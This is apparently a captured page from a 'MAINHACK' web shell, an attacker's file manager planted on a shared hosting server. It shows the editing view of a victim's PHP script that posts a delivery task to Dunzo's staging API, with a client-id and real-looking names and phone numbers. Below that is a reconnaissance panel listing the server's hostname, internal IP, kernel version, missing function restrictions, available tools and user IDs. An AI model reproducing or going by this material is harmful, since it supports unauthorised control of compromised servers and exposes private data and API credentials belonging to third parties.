[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: new_task.php
<?php include 'token_test.php'; $curl = curl_init(); $contact1=array( "name"=> "Rahul Mishra", "phone_number"=> "7980785847" ); $contact2=array( "name"=> "Priyanka Das", "phone_number"=> "9874615676" ); $address1=array( "apartment_address"=> "Mishra Niwas", "street_address_1"=>"Kali Mandir, Dashadrone ", "street_address_2"=>" P.O-Rajarhat Gopapur", "landmark"=> "Kali Mandir", "city"=> "Kolkata", "state"=> "West Bengal", "pincode"=>"560029", "country"=> "India", "lng"=> 77.611848, "lat"=>12.925561, "contact_details"=> $contact1, ); $address2=array( "apartment_address" => "Rc-1/2 Raghunathpur", "street_address_1"=> "Teghoria", "street_address_2"=> "Debolina Aprt", "landmark"=> "Vip Road", "city"=>"Kolkata", "state"=> "West Bengal", "pincode"=> "560029", "lat"=> 12.934459, "lng"=>77.611247, "country"=> "India", "contact_details" =>$contact2, ); $payment_data=array( "payment_method"=> "COD", "amount"=> 50 ); $pickup=array( array( "reference_id"=> "pick_ref_1", "special_instructions"=> "fragile items, handle with great care", "address"=>$address1, "otp_required"=> true, ) ); $drop_details=array( array( "reference_id"=> "drop_ref_1", "special_instructions"=> "leave at door step and ring the bell", "address"=>$address2, "otp_required"=> true, "payment_data"=> $payment_data, ) ); $fields = array( "request_id" => "b115d54b-c044-4387-a629-4df0a3c0af2656", "reference_id" => "9357d296-c366-4409-872d-2e0898f27878", "pickup_details" => $pickup, "drop_details" => $drop_details, "payment_method" => "DUNZO_CREDIT", "delivery_type" => "SCHEDULED", "schedule_time" => 1661439347, ); //print_r(json_encode($fields)); $f=json_encode($fields); //print_r(json_encode($f)); curl_setopt_array($curl, array( CURLOPT_URL => 'https://apis-staging.dunzo.in/api/v2/tasks', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS =>$f, CURLOPT_HTTPHEADER => array( 'client-id: f89519e1-41d3-4972-bcbd-12cf188be4a9', 'Authorization: '.$token, 'Content-Type: application/json', ), )); $response = curl_exec($curl); curl_close($curl); echo $response; /* { "request_id": "b115d54b-c044-4387-a629-4df0a3c0af179", "reference_id": "9357d296-c366-4409-872d-2e0898f27f8198", "pickup_details": [ { "reference_id": "pick_ref_1", "special_instructions": "fragile items, handle with great care", "address": { "apartment_address": "Block A", "street_address_1": "Indraprasth Apartment", "street_address_2": "Kaikhali", "landmark": "Opposite O2 Hotel", "city": "Kolkata", "state": "West Bengal", "pincode": "700136", "country": "India", "lng": 88.3720192, "lat": 22.5738752, "contact_details": { "name": "Rahul", "phone_number": "7980785847" } }, "otp_required": true } ], "drop_details": [ { "reference_id": "drop_ref_1", "special_instructions": "leave at door step and ring the bell", "address": { "apartment_address": "Rc-1/2 Raghunathpur", "street_address_1": "Teghoria", "street_address_2": "Debolina Aprt", "landmark": "Vip Road", "city": "Kolkata", "state": "West Bengal", "pincode": "700059", "lat": 22.6143, "lng": 88.4328, "country": "India", "contact_details": { "name": "Priyanka", "phone_number": "9874615676" } }, "otp_required": true, "payment_data": { "payment_method": "COD", "amount": 50 } } ], "payment_method": "DUNZO_CREDIT", "delivery_type": "SCHEDULED", "schedule_time": 1661439347 }' */
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619